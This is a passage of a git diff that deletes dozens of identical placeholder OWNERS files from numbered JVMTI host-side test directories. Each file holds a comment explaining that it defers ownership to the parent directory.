@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1900/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1900/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1900/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1901/OWNERS b/hostsidetests/jvmti/run-tests/test-1901/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1901/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1901/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1901/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1901/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1902/OWNERS b/hostsidetests/jvmti/run-tests/test-1902/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1902/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1902/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1902/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1902/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1903/OWNERS b/hostsidetests/jvmti/run-tests/test-1903/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1903/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1903/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1903/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1903/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1904/OWNERS b/hostsidetests/jvmti/run-tests/test-1904/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1904/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1904/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1904/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1904/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1906/OWNERS b/hostsidetests/jvmti/run-tests/test-1906/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1906/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1906/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1906/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1906/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1907/OWNERS b/hostsidetests/jvmti/run-tests/test-1907/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1907/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1907/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1907/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1907/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1908/OWNERS b/hostsidetests/jvmti/run-tests/test-1908/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1908/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1908/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1908/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1908/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1909/OWNERS b/hostsidetests/jvmti/run-tests/test-1909/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1909/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1909/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1909/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1909/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1910/OWNERS b/hostsidetests/jvmti/run-tests/test-1910/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1910/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1910/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1910/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1910/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1911/OWNERS b/hostsidetests/jvmti/run-tests/test-1911/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1911/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1911/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1911/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1911/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1912/OWNERS b/hostsidetests/jvmti/run-tests/test-1912/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1912/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1912/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1912/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1912/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1913/OWNERS b/hostsidetests/jvmti/run-tests/test-1913/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1913/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1913/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1913/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1913/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1914/OWNERS b/hostsidetests/jvmti/run-tests/test-1914/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1914/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1914/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1914/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1914/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1915/OWNERS b/hostsidetests/jvmti/run-tests/test-1915/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1915/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1915/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1915/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1915/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1916/OWNERS b/hostsidetests/jvmti/run-tests/test-1916/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1916/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1916/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1916/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1916/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1917/OWNERS b/hostsidetests/jvmti/run-tests/test-1917/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1917/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1917/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1917/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1917/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1920/OWNERS b/hostsidetests/jvmti/run-tests/test-1920/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1920/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1920/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1920/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1920/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1921/OWNERS b/hostsidetests/jvmti/run-tests/test-1921/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1921/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1921/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1921/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1921/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1922/OWNERS b/hostsidetests/jvmti/run-tests/test-1922/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1922/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1922/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1922/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1922/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1923/OWNERS b/hostsidetests/jvmti/run-tests/test-1923/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1923/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1923/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1923/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1923/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1924/OWNERS b/hostsidetests/jvmti/run-tests/test-1924/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1924/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1924/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1924/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1924/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1925/OWNERS b/hostsidetests/jvmti/run-tests/test-1925/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1925/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1925/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1925/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1925/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1926/OWNERS b/hostsidetests/jvmti/run-tests/test-1926/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1926/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1926/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1926/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1926/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1927/OWNERS b/hostsidetests/jvmti/run-tests/test-1927/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1927/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1927/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1927/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1927/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1928/OWNERS b/hostsidetests/jvmti/run-tests/test-1928/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1928/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1928/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1928/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1928/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1930/OWNERS b/hostsidetests/jvmti/run-tests/test-1930/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1930/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1930/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1930/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1930/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1931/OWNERS b/hostsidetests/jvmti/run-tests/test-1931/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1931/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1931/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1931/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1931/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1932/OWNERS b/hostsidetests/jvmti/run-tests/test-1932/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1932/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1932/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1932/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1932/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1933/OWNERS b/hostsidetests/jvmti/run-tests/test-1933/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1933/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1933/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1933/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1933/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
